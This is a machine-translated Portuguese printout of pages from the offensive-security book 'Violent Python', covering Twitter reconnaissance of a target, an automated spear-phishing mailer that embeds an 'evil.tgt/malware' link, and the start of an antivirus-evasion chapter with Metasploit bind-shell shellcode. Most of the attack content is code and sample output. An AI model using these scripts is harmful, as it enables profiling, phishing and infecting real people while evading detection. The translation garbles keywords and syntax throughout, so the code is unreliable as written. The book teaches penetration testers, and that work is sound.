17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
para cidade nas cidades:
se na cidade de tweetsText:
locations.append (cidade)
cityCnt + 1 =
print "[+] encontrado" + str (locCnt) + "localizações" + \
"Via Twitter API e" + str (cityCnt) + \
"locais de pesquisa de texto."
voltar locais
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­u <Punho do Twitter> [­c <lista de cidades>]')
parser.add_option ( '­ u', dest = 'pega', type = 'string', \
help = 'especificar punho do twitter')
parser.add_option ( '­ c', dest = 'cityFile', type = 'string', \
help = 'especificar arquivo contendo cidades para procurar')
(Opções, args) = parser.parse_args ()
handle = options.handle
cityFile = options.cityFile
if (lidar com == None):
parser.usage de impressão
exit (0)

Research, Investigar, Descoberta231

cidades = []
if (cityFile = None!):
cidades = load_cities (cityFile)
Tweets = get_tweets (identificador)
locations = twitter_locate (tweets, cidades)
print "[+] Locais:" + str (locais)
se __name__ == '__main__':
a Principal()

Para testar nosso script, estamos a construir uma lista de cidades que têm grandes equipes de beisebol da liga.
Em seguida, vamos raspar as contas de Twitter para o Boston Red Sox e do Washing­
ton Nationals. Nós vemos a Red Sox estão actualmente a jogar um jogo em Toronto e
os nacionais estão em Denver.
Recon: ~ # cat mlb­cities.txt | Mais
Baltimore
boston
Chicago
cleveland
detroit
<.. Cortou ..>
Recon: ~ # python twitterGeo.py ­u redsox ­c mlb­cities.txt
[+] Encontrado 0 localizações via Twitter API e 1 locais a partir de texto
pesquisa.
[+] Locais: [ 'Toronto']
: recon ~ nacionais # python twitterGeo.py ­u ­c mlb­ cities.txt
[+] Encontrado 0 localizações via Twitter API e 1 locais a partir de texto
pesquisa.
[+] Locais: [ 'Denver']

Analisando Interesses do Twitter Usando regular
Expressões
Em seguida, vamos reunir os interesses de um alvo, se esses interesses são outros
usuários ou conteúdo da Internet. Toda vez que um site apresenta uma oportunidade para
aprender o que um alvo se preocupa, salte para ele, como que os dados servirão de base
de um ataque de engenharia social bem sucedido. Como discutido anteriormente, os pontos de
interesse em um tweet são quaisquer ligações incluídas, hash tags e outros usuários do Twitter
mencionado. Encontrar esta informação será um simples exercício em comum
expressões.
json importação
importação re

232 CAPÍTULO 6: Recon web com Python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 153/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

urllib importação
urllib2 de importação
optparse importação
de anonBrowser import *
get_tweets def (identificador):
query = urllib.quote_plus ( 'De:' + lidar com + \
'Desde: 2009­01­01 incluem: retweets')
Tweets = []
navegador anonBrowser = ()
browser.anonymize ()
response = browser.open ( 'http://search.twitter.com/' + \
'Search.json? Q =' + consulta)
json_objects = json.load (resposta)
para o resultado em json_objects [ 'resultados']:
new_result = {}
new_result [ 'FROM_USER'] = resultado [ 'from_user_name']
new_result [ 'geo'] = resultado [ 'geo']
new_result [ 'Tweet'] = resultado [ 'texto']
tweets.append (new_result)
devolver os tweets
find_interests def (tweets):
interesses = {}
interesses [ 'ligações'] = []
interesses [ 'usuários'] = []
interesses [ 'hashtags'] = []
para o tweet em os tweets:
text = Tweet [ 'Tweet']
ligações = re.compile ( '(http *) \ Z |.?.? (http *)') \
.findall (texto)
para o link em links:
Se o link [0]:
link = link [0]
ligação elif [1]:
link = link [1]
outro:
continuar
experimentar:
response = urllib2.urlopen (link)

Research, Investigar, Descoberta233

FULL_LINK = response.url
interesses [ 'links']. anexar (FULL_LINK)
exceto:
passar
interesses [ 'users'] + = re.compile ( '(@ \ w +)'). findall (texto)
interesses [ 'hashtags'] + = \
re.compile ( '(# \ w +)'). findall (texto)
interesses [dos usuários ']. sort ()
interesses [ 'hashtags']. sort ()
interesses [ 'links']. sort ()
interesses de retorno
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­u <Punho do Twitter>')
parser.add_option ( '­ u', dest = 'pega', type = 'string', \
help = 'especificar punho do twitter')
(Opções, args) = parser.parse_args ()
handle = options.handle
se pega == None:
parser.usage de impressão
exit (0)
Tweets = get_tweets (identificador)
interesses = find_interests (tweets)
print '\ n [+] Páginas'.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 154/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
para ligação em conjunto (interesses [ 'ligações']):
print '[+]' + str (link)
print '\ n [+] Os usuários.
para o utilizador em conjunto (interesses [ 'usuários']):
print '[+]' + str (usuário)
print '\ n [+] hashtags.
para hashtag no set (interesses [ 'hashtags']):
print '[+]' + str (hashtag)
se __name__ == '__main__':
a Principal()
Correndo o nosso script de análise interesse, vemos ele analisa os links, usuários e
hashtags para o nosso alvo, artes marciais misturadas fi ghter Chael Sonnen. Notar que
ele retorna um vídeo do youtube, alguns usuários, e hash tags para um próximo lutar
contra a corrente (em junho de 2012) UFC campeão Anderson Silva. Curiosidade
novamente obtém o melhor de nós perguntando como isso vai sair.

234 CAPÍTULO 6: Recon web com Python

Recon: ~ # python twitterInterests.py ­u sonnench
[+] Páginas.
[+] http://www.youtube.com/watch?v = K­BIuZtlC7k & feature = PLCP
[+] Usuários.
[+]tomasseeger
[+]sonnench
[+]Benaskren
[+]AirFrayer
[+]NEXERSYS
[+] hashtags.
[+] # UFC148

O uso de expressões regulares aqui não é o método ideal para encontrando infor­
mações. A expressão regular para agarrar as ligações incluídas no texto vai perder cer­
tipos de URLs tain, porque é muito difícil para corresponder todas as URLs possíveis com
uma expressão regular. No entanto, para os nossos propósitos, essa expressão regular
trabalhar 99 por cento do tempo. Além disso, a função usa a biblioteca urllib2
para abrir links em vez de nossa classe anonBrowser.
Mais uma vez, vamos usar um dicionário para classificar as informações em um mais gestão
estrutura de dados capaz de modo que não é necessário criar uma classe totalmente nova. Devido a
limite de caracteres do Twitter, a maioria das URLs são encurtados usando um dos muitos serviços.
Estas ligações não são muito informativos, porque eles poderiam apontar para qualquer lugar.
A fim de expandir­los, eles são abertos usando urllib2; após o script abre
a página, urllib pode recuperar a URL completa. Outros usuários e hashtags são, então,
recuperadas usando expressões regulares muito semelhantes, e os resultados são retornados para
o método mestre do twitter (). Os locais e os interesses são finalmente devolvidos
para o chamador fora da classe.
Outras coisas podem ser feitas para expandir as capacidades dos nossos métodos de Han­
dling Twitter. Os recursos praticamente ilimitadas encontrados na Internet ea
infinidade de maneiras de analisar esses dados exigem a constante expansão da capacida­
laços em programa de recolha de informação automatizados.
Resumindo toda a nossa série de reconhecimento contra um usuário do Twitter, fazemos uma classe
para raspar localização, interesses e tweets. Isto irá revelar­se útil, como você verá em
a próxima seção.
urllib importação
de anonBrowser import *
json importação
importação re
urllib2 de importação
classe reconPerson:

Research, Investigar, Descoberta235

def __init __ (self, cabo):

self.handle = punho
self.tweets self.get_tweets = ()
get_tweets def (self):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 155/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
query = urllib.quote_plus ( 'De:' + self.handle + \
'Desde: 2009­01­01 incluem: retweets'
)
Tweets = []
navegador anonBrowser = ()
browser.anonymize ()
response = browser.open ( 'http://search.twitter.com/' + \
'Search.json? Q =' + consulta)
json_objects = json.load (resposta)
para o resultado em json_objects [ 'resultados']:
new_result = {}
new_result [ 'FROM_USER'] = resultado [ 'from_user_name']
new_result [ 'geo'] = resultado [ 'geo']
new_result [ 'Tweet'] = resultado [ 'texto']
tweets.append (new_result)
devolver os tweets
find_interests def (self):
interesses = {}
interesses [ 'ligações'] = []
interesses [ 'usuários'] = []
interesses [ 'hashtags'] = []
para o tweet em self.tweets:
text = Tweet [ 'Tweet']
ligações = re.compile ( '(http *) \ Z |.?.? (http *)') .findall (texto)
para o link em links:
Se o link [0]:
link = link [0]
ligação elif [1]:
link = link [1]
outro:
continuar
experimentar:
response = urllib2.urlopen (link)
FULL_LINK = response.url

236 CAPÍTULO 6: Recon web com Python

interesses [ 'links']. anexar (FULL_LINK)
exceto:
passar
interesses [ 'usuários'] + = \
re.compile ( '(@ \ w +)'). findall (texto)
interesses [ 'hashtags'] + = \
re.compile ( '(# \ w +)'). findall (texto)
interesses [dos usuários ']. sort ()
interesses [ 'hashtags']. sort ()
interesses [ 'links']. sort ()
interesses de retorno
def twitter_locate (self, cityFile):
cidades = []
se cityFile! = None:
para a linha em .readlines abertos (cityFile) ():
city ​
= line.strip ( '\ n'). tira ( '\ r'). inferior ()

cities.append (cidade)
localizações = []
locCnt = 0
cityCnt = 0
tweetsText = ''
para o tweet em self.tweets:
Se Tweet [ 'geo']! = None:
locations.append (twittar [ 'geo'])
locCnt + 1 =
tweetsText + = Tweet [ 'Tweet']. inferior ()
para cidade nas cidades:
se na cidade de tweetsText:
locations.append (cidade)
cityCnt + 1 =
voltar locais

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 156/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

ANONYMOUS EMAIL

Mais e mais frequentemente, os sites estão começando a exigir que seus usuários a cria­
comeram e fazer login para contas se eles querem ter acesso aos melhores recursos desse site.
Isto, obviamente, apresentar um problema, como navegar na Internet continua a ser muito
diferente para o nosso navegador do que para um usuário tradicional Internet. O requerimento

Mass Engenharia Social 237

fazer o login, obviamente destrói a opção de total anonimato na Internet, como
qualquer ação realizada após o login será vinculado à conta. A maioria dos sites
apenas necessita de um endereço de email válido e não verificar a validade de outros per­
informações sonal entrou. Os endereços de email de provedores on­line como o Google
ou Yahoo são gratuitos e fáceis de se inscrever para; no entanto, eles vêm com um termos de
serviço que você deve aceitar e entender.
Uma grande alternativa a ter um e­mail permanente é a utilização de um e­mail descartável
conta. Ten Minute Mail a partir http://10minutemail.com/10MinuteMail/
index.htmlfornece um exemplo de como um descartável e­mail da conta. Um
invasor pode usar contas de email que são difíceis de rastrear a fim de criar
contas de mídia social, que também não estão vinculados a eles. A maioria dos sites têm pelo
o mínimo de "termos de uso" documento que não permite a recolha de
informações sobre outros usuários. Enquanto os atacantes reais não seguir estas regras,
aplicar estas técnicas para contas pessoais demonstra a capacidade
totalmente. Lembre­se, porém, que o mesmo processo pode ser usado contra você, e
você deve tomar medidas para se certificar de que a sua conta está a salvo de tais ações.

ENGENHARIA DE MASSA SOCIAL
Até este ponto, nós recolhemos uma grande quantidade de informações valiosas
acumulando uma visão bem­arredondado do alvo determinado. Elaborar um auto de e­mail
camente com essa informação pode ser um exercício complicado, especialmente com o objectivo
de adicionar detalhes suficientes para torná­lo crível. Uma opção neste momento seria
a de ter o programa presente toda a informação que tem e, em seguida, sair: esta
permitiria que o atacante, em seguida, pessoalmente criar um email com toda a disponibilidade
informações capazes. No entanto, o envio manual de um e­mail para cada pessoa em um
grande organização é inviável. O poder do Python nos permite automatizar a
processo e os resultados ganhar rapidamente. Para os nossos propósitos, vamos criar uma forma muito simples
enviar e­mail utilizando a informação recolhida e automaticamente enviá­lo para o nosso alvo.

Usando smtplib para e­mail Targets
O processo de envio de um e­mail normalmente envolve a abertura de um cliente de
escolha, clicando em Novo e clicando em enviar. Nos bastidores, o con­ cliente
NECTS para o servidor, possivelmente, registra­se e troca informações detalhando a
remetente, destinatário, e os outros dados necessários. A biblioteca Python, smtplib,
vai lidar com este processo em nosso programa. Nós vamos passar pelo processo de
a criação de um cliente de e­mail Python para usar para enviar os nossos e­mails maliciosos para o nosso alvo
obter. Este cliente será muito básico, mas vai fazer o envio de e­mails simples para o
resto do nosso programa. Para os nossos propósitos aqui, vamos usar o Gmail SMTP Google
servidor; você precisará criar um Google Gmail conta para usar este script ou
modificar as configurações para usar seu próprio servidor SMTP.

238 CAPÍTULO 6: Recon web com Python

smtplib importação
de MimeText importação email.mime.text
def sendMail (usuário, pwd, para, assunto, texto):
msg = MimeText (texto)
msg [ 'De'] = usuário
msg [ 'Para'] = a
msg [ 'Assunto'] = sujeitas
experimentar:
SMTPServer = smtplib.SMTP ( 'smtp.gmail.com', 587)
print "[+] Conectando ao correio Server."
smtpServer.ehlo ()
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 157/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

print "[+] Iniciando sessão criptografada."
smtpServer.starttls ()
smtpServer.ehlo ()
print "[+] Logging para o Mail Server."
smtpServer.login (usuário, pwd)
print "[+] envio de correio."
smtpServer.sendmail (usuário, para, msg.as_string ())
smtpServer.close ()
print "[+] mail enviado com sucesso."
exceto:
print "[­] envio de correio Falha".
user = 'username'
Pwd = 'password'
sendMail (usuário, pwd, 'target@tgt.tgt', \
'Re: Importante', 'Mensagem Test')
A execução do script e verificar caixa de entrada do alvo, vemos ele envia com sucesso
um e­mail usando smtplib do Python.
Recon: # python sendMail.py
[+] Conectando ao correio Server.
[+] Iniciando sessão criptografada.
[+] Logging para o Mail Server.
[+] Envio de correio.
[+] Mail enviado com sucesso.
Dado um servidor de e­mail válido e parâmetros, esse cliente irá enviar um e­mail corretamente
para to_addr. Muitos servidores de e­mail, no entanto, não são relays abertos, e isso só vai
entregar correio para endereços específicos. Um servidor de e­mail local, configurado como uma retransmissão aberta,
ou qualquer retransmissão aberta na Internet, irá enviar e­mail para qualquer endereço de e a partir de qualquer

Mass Engenharia Social 239

address­o de endereço não tem sequer a ser válido. Spammers usam este
mesma técnica para enviar e­mail de Potus@whitehouse.gov: eles simplesmente falsificar
a partir do endereço. Como as pessoas email raramente aberta a partir de um endereço suspeito em
Neste dia e idade, a nossa capacidade para falsificar o endereço é fundamental. Usando o cliente
classe e uma retransmissão aberta permite que um invasor envie um e­mail a partir de um aparentemente
endereço confiável, aumentando a probabilidade de que vai ser clicado pelo alvo.

Spear phishing com smtplib
Estamos finalmente na fase em que todas as nossas pesquisas vem junto. Aqui,
o script cria um e­mail que parece que vem do amigo do alvo, tem
coisas que o alvo vai achar interessante, e fluxos como se tivesse sido escrito por um verdadeiro
pessoa. Uma grande parte da investigação tem ido para ajudar os computadores se comunicam
como se fossem pessoas, e as várias técnicas ainda não são perfeitos.
A fim de mitigar essa possibilidade, vamos criar uma mensagem muito simples que
contém a carga útil no e­mail. Várias partes do programa envolverá
escolher qual peça de informação para incluir. Nosso programa vai aleatoriamente
fazer essas escolhas com base nos dados que tem. Os passos a seguir são: escolher o
endereço de e­mail falso do remetente, elaborar um assunto, criar o corpo da mensagem e, em seguida,
enviar o e­mail. Felizmente criação do remetente e assunto é bastante simples.
Este código torna­se uma questão de lidar com cuidado se­afirmações e como o
Frases juntam­se para formar uma mensagem curta, coerente. ao lidar
com a possibilidade de uma enorme quantidade de dados, como seria o caso se a nossa
código de reconhecimento utilizado mais fontes, cada peça do parágrafo seria
provavelmente ser divididos em métodos individuais. Cada método seria respon­
sável por ter o seu pedaço do bolo começar e terminar uma certa maneira, e, em seguida, iria
operar independentemente do resto do código. Dessa forma, quanto mais informações
sobre os interesses de alguém (por exemplo) foi aprendido, só isso seria método
ser alterado. O último passo é enviar o e­mail através do nosso cliente de email e, em seguida,
confiando estupidez humana para fazer o resto. Parte deste processo, e não um dis­
cussed neste capítulo, é a criação de qualquer explorar ou site de phishing vai
ser usada para obter acesso. No nosso exemplo, nós simplesmente enviar um link chamado erroneamente, mas
a carga poderia ser um anexo ou um site scam, ou qualquer outro método
invasor desejado. Este processo seria, então, repetido para cada membro da
organização, e só leva uma pessoa a cair na armadilha de conceder acesso a
um atacante.
Nosso script c especi fi terá como alvo um usuário com base nas informações que saem publicação
camente acessível via Twitter. Com base no que ele fi nds sobre localizações, usuários, hashtags,
e links, que vai criar um email com um link malicioso para o usuário a clicar.

#! / Usr / bin / python
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 158/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
# ­ * ­ Coding: utf­8 ­ * ­

240 CAPÍTULO 6: Recon web com Python

smtplib importação
optparse importação
de MimeText importação email.mime.text
de twitterClass import *
da escolha aleatória de importação
def sendMail (usuário, pwd, para, assunto, texto):
msg = MimeText (texto)
msg [ 'De'] = usuário
msg [ 'Para'] = a
msg [ 'Assunto'] = sujeitas
experimentar:
SMTPServer = smtplib.SMTP ( 'smtp.gmail.com', 587)
print "[+] Conectando ao correio Server."
smtpServer.ehlo ()
print "[+] Iniciando sessão criptografada."
smtpServer.starttls ()
smtpServer.ehlo ()
print "[+] Logging para o Mail Server."
smtpServer.login (usuário, pwd)
print "[+] envio de correio."
smtpServer.sendmail (usuário, para, msg.as_string ())
smtpServer.close ()
print "[+] mail enviado com sucesso."
exceto:
print "[­] envio de correio Falha".
def main ():
parser = optparse.OptionParser ( 'uso% prog' + \
'­u <Twitter target> ­t <email­alvo>' + \
'­l <Login do Gmail> ­p <senha do Gmail>')
parser.add_option ( '­ u', dest = 'pega', type = 'string', \
help = 'especificar punho do twitter')
parser.add_option ( '­ t', dest = 'tgt', type = 'string', \
help = 'especificar email target')
parser.add_option ( '­ l', dest = 'user', type = 'string', \
help = 'especificar login do Gmail')
parser.add_option ( '­ p', dest = 'pwd', type = 'string', \
help = 'especificar a senha do gmail')
(Opções, args) = parser.parse_args ()

Mass Engenharia Social 241

handle = options.handle
tgt = options.tgt
user = options.user
pwd = options.pwd
se pega == Nenhum ou TGT == Nenhum \
ou usuário == Nenhum ou == pwd Nenhum:
parser.usage de impressão
exit (0)
print "[+] Buscando tweets de:" + str (punho)
spamTgt = reconPerson (punho)
spamTgt.get_tweets ()
print "[+] buscar interesses de:" + str (punho)
interesses = spamTgt.find_interests ()
print "[+] Buscando informações de localização a partir de:" + \
str (punho)
location = spamTgt.twitter_locate ( 'mlb­cities.txt')
spamMsg = "Caro" + tgt + ","

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 159/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
if (location = Nenhum!):
randLoc = escolha (localização)
spamMsg + = "Its me de" + randLoc + "."
if (interesses [dos usuários '] = nenhum!):
randUser = escolha (interesses [ 'usuários'])
spamMsg + = "" + randUser + ", disse para dizer Olá."
if (interesses [ 'hashtags'] = None!):
randHash = escolha (interesses [ 'hashtags'])
spamMsg + = "Você viu todo o alarido sobre" + \
randHash + "?"
if (interesses [ 'ligações'] = None!):
randLink = escolha (interesses [ 'ligações'])
spamMsg + = "Eu realmente gostei do seu link:" + \
randLink + "."
spamMsg + = "Confira meu link para http: //evil.tgt/malware"
print "[+] Envio de erro:" + spamMsg
sendMail (usuário, pwd, tgt, 'Re: Importante', spamMsg)
se __name__ == '__main__':
a Principal()
Testando o nosso script, vemos se podemos obter algumas informações sobre o Boston
Red Sox de sua conta no Twitter para enviar um e­mail de spam malicioso.

242 CAPÍTULO 6: Recon web com Python

Recon # python sendSpam.py ­u alvo redsox ­t @ tgt ­l username ­p
senha
[ + ] Buscando tweets de: redsox
[ + ] Buscando interesses de: redsox
[ + ] Buscando informações sobre a localização de: redsox
[ + ] Enviando Msg: Caro redsox, Its me de Toronto. davidortiz disse
para dizer oi. Você viu todo o alarido sobre #SoxAllStars? Eu realmente
gostei do seu link: http: //mlb.mlb.com. Confira meu link para http: //
evil.tgt / malware
[ + ] Conectando ao correio Server.
[ + ] Iniciando sessão criptografada.
[ + ] Logging para o Mail Server.
[ + ] Envio de correio.
[ + ] E­mail enviado com sucesso.

CAPÍTULO WRAP­UP
Embora este método não deve ser aplicado a outra pessoa ou organização,
é importante reconhecer a sua viabilidade e se ou não a sua organização
ção é vulnerável. Python e outras linguagens de script permitem que os programadores
criar rapidamente maneiras de usar os vastos recursos encontrados na Internet para ganhar
e potencialmente explorar uma vantagem. Em nosso próprio código, criamos uma classe para
imitar um navegador web, enquanto aumenta o anonimato, raspou um site, utilizado
o poder do Google, alavancada Twitter para saber mais sobre um alvo, e depois
finalmente trouxe todos esses detalhes em conjunto para enviar um e­mail especialmente criado para
o nosso alvo. A velocidade de uma ligação à Internet limita um programa, então enfiar
certas funções iria diminuir consideravelmente o tempo de execução. Além disso, uma vez que
aprenderam a recuperar informações de uma fonte de dados, fazendo o mesmo com
outros sites é relativamente simples. Indivíduos não têm o mental
capacidade de acessar e processar a grande quantidade de informações na Internet,
mas o poder do Python e suas bibliotecas permitir o acesso a todos os recursos muito mais rápido
do que até mesmo vários pesquisadores qualificados. Sabendo de tudo isso, e compreensão
que o ataque não é tão sofisticado como você provavelmente se pensava inicialmente, como
é a sua organização vulnerável? Que informação publicamente acessível possível
um uso atacante para alvejá­lo? você pode se tornar vítima de um script Python
raspando media open­source e envio de malware?

Referências
Beautiful Soup (2012). Crummy.com. Retirado de <http://www.crummy.com/software/Beauti­
fulSoup />,De Fevereiro de 16 anos.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 160/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Referências 243

Cha, A., & Nakashima, E. (2010). Google China ciberataque parte da vasta campanha de espionagem,
dizem os especialistas. Washington Pós . Retirado de <http://www.washingtonpost.com/wp­dyn/con­
tenda / article / 2010/01/13 / AR2010011300359.html>,De Janeiro de 13 anos.
Constantin, L. (2012). Espere mais de ciber­espionagem, malwares sofisticados em '12, dizem os especialistas. GE
Investigações, LLC . Obtido a partir <http://geinvestigations.com/blog/tag/social­engineering­
operação de aurora />,De Janeiro de 2.
Google (2010). Google pesquisa na web API (depreciado). Retirado de <https://developers.google.
com / web­search />,De Novembro de 1.
Lista de cordas user­agent (2012). User Agent String.com. Obtido em <http: //www.useragent­
string.com/pages/useragentstring.php>,De Fevereiro de 17 anos.
Matrosov, A., Rodionov, E., Harlely, D., & Malcho, J. (2010). Stuxnet sob o microscópio . Eset.com.
Retirado de <go.eset.com/us/resources/white­papers/Stuxnet_Under_the_Microscope.pdf>.
Mecanizar (2010). Mecanizar home page. Retirado de <http://wwwsearch.sourceforge.net/
mecanizar />, Abril.
Twitter (2012). Twitter API. Retirado de <https://dev.twitter.com/docs>, 17 de Fevereiro.
Wilson, B. (2005). codificação de URL. Blooberry.com. Retirado de <http://www.blooberry.com/
indexdot / html / temas / urlencoding.htm>.
Zetter, K. (2010). Google Hack Attack foi ultra­sofisticado, novos detalhes mostrar. Wired.com.
Retirado de <http://www.wired.com/threatlevel/2010/01/operation­aurora/>, 14 de janeiro.

CAPÍTULO 7

Evasão antivírus com Python

Informações neste capítulo: CONTEÚDO

■  Trabalhando com Python Ctypes. Introdução:
Flame On! ................ 245
■  Anti­Virus Evasão usando Python.
■  Construir um Win32 executável usando Pyinstaller. Evading Antivirus
Programas ................. 246
■  Utilizando httplib para GET / POST HTTP Requests.
■  Interagindo com uma linha Virus Scanner. Evasão verificar .... 250
Wrap Up ................... 255
Referências ............... 256

É a arte onde um homem pequeno está indo para provar a você, não importa quão
forte você é, não importa o quão louco você começa, que você vai ter que
aceitar a derrota.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 161/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
­Saulo Ribeiro, seis vezes Campeão do Mundo, Brazilian Jiu Jitsu

INTRODUÇÃO: FLAME ON!
Em 28 de maio de 2012, o Centro de Maher no Irã detectado um complexo e sofisticação
cado de ciber­ataque contra sua rede (CERTCC, 2011). Este ataque mostrou­se tão
sofisticada que 43 dos 43 antivírus testados não conseguiu identificar o
código usado no ataque como malicioso. Apelidado de "Flame" depois de algumas seqüências ASCII
incluído no código, o malware apareceu para infectar sistemas no Irã como uma declaração
executar a estratégia de ciber­esponiage (Zetter, 2012). Com scripts Lua compilados nomeados
Beetlejuice, Microbe, Rã, Lanche, e Gator, o malware balizado via Blue­
dente, áudio secretamente gravadas, as máquinas infectadas nas proximidades, e enviados triagem
tiros e dados para servidores de comando e controle remotos (Análise da equipe, de 2012).
Estimativas avaliar o malware como pelo menos dois anos de idade. Kapersky Lab foi rápido
para explicar que chama é "uma das ameaças mais complexas já descobertas.
245
Python violento. Http://dx.doi.org/10.1016/B978­1­59­749957­6.00007­7
Copyright © 2013 Elsevier Inc. Todos os direitos reservados.

246 CAPÍTULO 7: Evasão antivírus com Python

É grande e incrivelmente sofisticado "(Gostev, 2012). No entanto, como fez antivírus
motores não conseguem detectá­lo por pelo menos 2 anos? Eles não conseguiram detectá­lo porque a maioria
antivírus ainda usam principalmente detecção baseada em assinaturas como a sua principal
método de detecção. Enquanto alguns fornecedores começaram a incorporar mais
métodos complexos, como heurística ou de pontuação reputação, estes ainda são novos
no conceito.
No capítulo fi nal, vamos criar um pedaço de malware destinado a iludir antivi­
motores rus. O conceito utilizado é em grande parte o trabalho de Mark Baggett, que compartilhou
seu método com os seguidores do blog SANS Teste de Invasão quase um ano
atrás (Baggett, 2011). No entanto, o método para contornar os programas antivírus ainda é
funcional no momento de escrever este capítulo. Tomando um aceno da Chama, que
scripts Lua compilados usados, vamos implementar o método de Mark e compilar
código Python em um executável do Windows, a fim de escapar de programas antivírus.

PROGRAMAS fugir ANTIVIRUS
A fim de criar o malware, precisamos de algum código malicioso. o Metasploit
quadro contém um repositório de cargas maliciosas (250 no momento da
este documento foi escrito). Podemos usar Metasploit para gerar algum shellcode de estilo C para
uma carga maliciosa. Usaremos uma bindshell Windows simples que irá ligar
o processo cmd.exe para uma porta TCP de nossa escolha: isto permite que um atacante
conectar remotamente a uma máquina e emitir comandos que interagem com o cmd.
processo de exe:

atacante: ~ LPORT janelas # msfpayload / shell_bind_tcp = 1337 C
/ *
* Windows / shell_bind_tcp ­ 341 bytes
* http://www.metasploit.com
* VERBOSE = false, LPORT = 1337, RHOST = , EXITFUNC = processo,
* InitialAutoRunScript = , AutoRunScript =
* /
unsigned char buf [] =
"\ XFC \ xe8 \ x89 \ x00 \ x00 \ x00 \ x60 \ x89 \ xe5 \ x31 \ xd2 \ x64 \ x8b \ x52 \ x30"
"\ X8b \ x52 \ x0c \ x8b \ x52 \ x14 \ x8b \ x72 \ x28 \ x0f \ xb7 \ X4a \ x26 \ x31 \ xff"
"\ X31 \ xc0 \ XAC \ X3C \ x61 \ x7c \ x02 \ X2c \ x20 \ XC1 \ xcf \ x0d \ x01 \ xc7 \ XE2"
"\ Xf0 \ x52 \ x57 \ x8b \ x52 \ x10 \ x8b \ x42 \ X3C \ x01 \ xd0 \ x8b \ x40 \ x78 \ x85"
"\ Xc0 \ x74 \ X4a \ x01 \ xd0 \ x50 \ x8b \ x48 \ x18 \ x8b \ x58 \ x20 \ x01 \ xd3 \ XE3"
"\ X3C \ x49 \ x8b \ x34 \ x8b \ x01 \ xd6 \ x31 \ xff \ x31 \ xc0 \ XAC \ XC1 \ xcf \ x0d"
"\ X01 \ xc7 \ x38 \ xE0 \ x75 \ XF4 \ x03 \ x7d \ XF8 \ x3b \ x7d \ x24 \ x75 \ XE2 \ x58"
"\ X8b \ x58 \ x24 \ x01 \ xd3 \ x66 \ x8b \ x0c \ X4B \ x8b \ x58 \ X1c \ x01 \ xd3 \ x8b"
"\ X04 \ x8b \ x01 \ xd0 \ x89 \ x44 \ x24 \ x24 \ X5b \ X5b \ x61 \ x59 \ X5a \ x51 \ xff"

Fugindo programas antivírus 247

"\ XE0 \ x58 \ x5f \ X5a \ x8b \ x12 \ XEB \ x86 \ X5D \ x68 \ x33 \ x32 \ x00 \ x00 \ x68"
"\ X77 \ x73 \ x32 \ x5f \ x54 \ x68 \ x4c \ x77 \ x26 \ x07 \ xff \ XD5 \ XB8 \ x90 \ x01"
"\ X00 \ x00 \ x29 \ XC4 \ x54 \ x50 \ x68 \ x29 \ x80 \ x6b \ x00 \ xff \ XD5 \ x50 \ x50"

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20… 162/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
"\ X50 \ x50 \ x40 \ x50 \ x40 \ x50 \ x68 \ XEA \ x0f \ xdf \ xE0 \ xff \ XD5 \ x89 \ xc7"
"\ X31 \ xdb \ x53 \ x68 \ x02 \ x00 \ x05 \ x39 \ x89 \ XE6 \ x6a \ x10 \ x56 \ x57 \ x68"
